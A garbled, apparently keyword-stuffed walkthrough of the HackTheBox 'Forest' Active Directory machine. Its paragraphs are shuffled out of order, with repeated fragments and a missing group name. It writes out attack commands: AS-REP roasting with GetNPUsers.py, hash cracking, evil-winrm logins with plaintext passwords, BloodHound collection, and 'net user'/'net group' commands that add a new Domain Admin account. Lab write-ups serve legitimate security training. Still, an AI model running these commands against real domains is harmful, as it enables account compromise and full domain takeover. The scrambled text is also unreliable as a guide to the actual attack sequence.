Forest Hackthebox Walkthrough Review

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -no-pass -usersfile users.txt Where users.txt is every user you scraped from LDAP. The script runs… and a few seconds later, a hash drops:

echo "10.10.10.161 forest.htb.local htb.local" >> /etc/hosts First, you try enum4linux . It's polite but fruitless—null sessions are disabled. So you turn to the sharpest knife in the AD drawer: ldapsearch .

$krb5asrep$svc-alfresco@htb.local:... Bingo. No pre-auth required. You copy the hash to a file and feed it to john : forest hackthebox walkthrough

After a few blind attempts, you remember a trick. Sometimes, you can bind anonymously to LDAP without credentials. You craft:

The forest is dark, but the path is always there. You just have to know which trees to knock on. GetNPUsers

evil-winrm -i 10.10.10.161 -u sebastian -p 'P@ssw0rd123!' And you’re in. A Windows PowerShell console on FOREST . The user flag is waiting in C:\Users\sebastian\Desktop\user.txt . From here, you need domain admin. sebastian isn’t one yet, but he has interesting group memberships. You run whoami /groups and see he is in Remote Management Users (so WinRM works) and Account Operators .

No SMB anonymous login. No null session on LDAP… yet. But Kerberos is a talkative protocol. You note the hostname: FOREST.htb.local . You add the domain to your /etc/hosts : So you turn to the sharpest knife in

Target IP: 10.10.10.161 Your Machine: 10.10.14.x Phase 1: The Lay of the Land You fire up nmap like a cartographer charting unknown territory. The scan breathes life into the silent IP.

Instead, you enumerate using BloodHound . You upload SharpHound via SMB (since you can write to a share) or run it remotely? No execution. You fall back to Python's bloodhound.py :

bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.10.10.161 -c All You import the JSON into BloodHound. The graph shows a clear path: svc-alfresco is a member of group, which has GenericAll over a user called sebastian . And sebastian is a member of Domain Admins . Phase 5: The Abusable Trust GenericAll on a user means you can reset their password without knowing the old one. You use net rpc or smbpasswd (with the right tools). Impacket to the rescue:

net user hacker Hacker123! /add /domain net group "Domain Admins" hacker /add /domain Then you use evil-winrm again with the new user: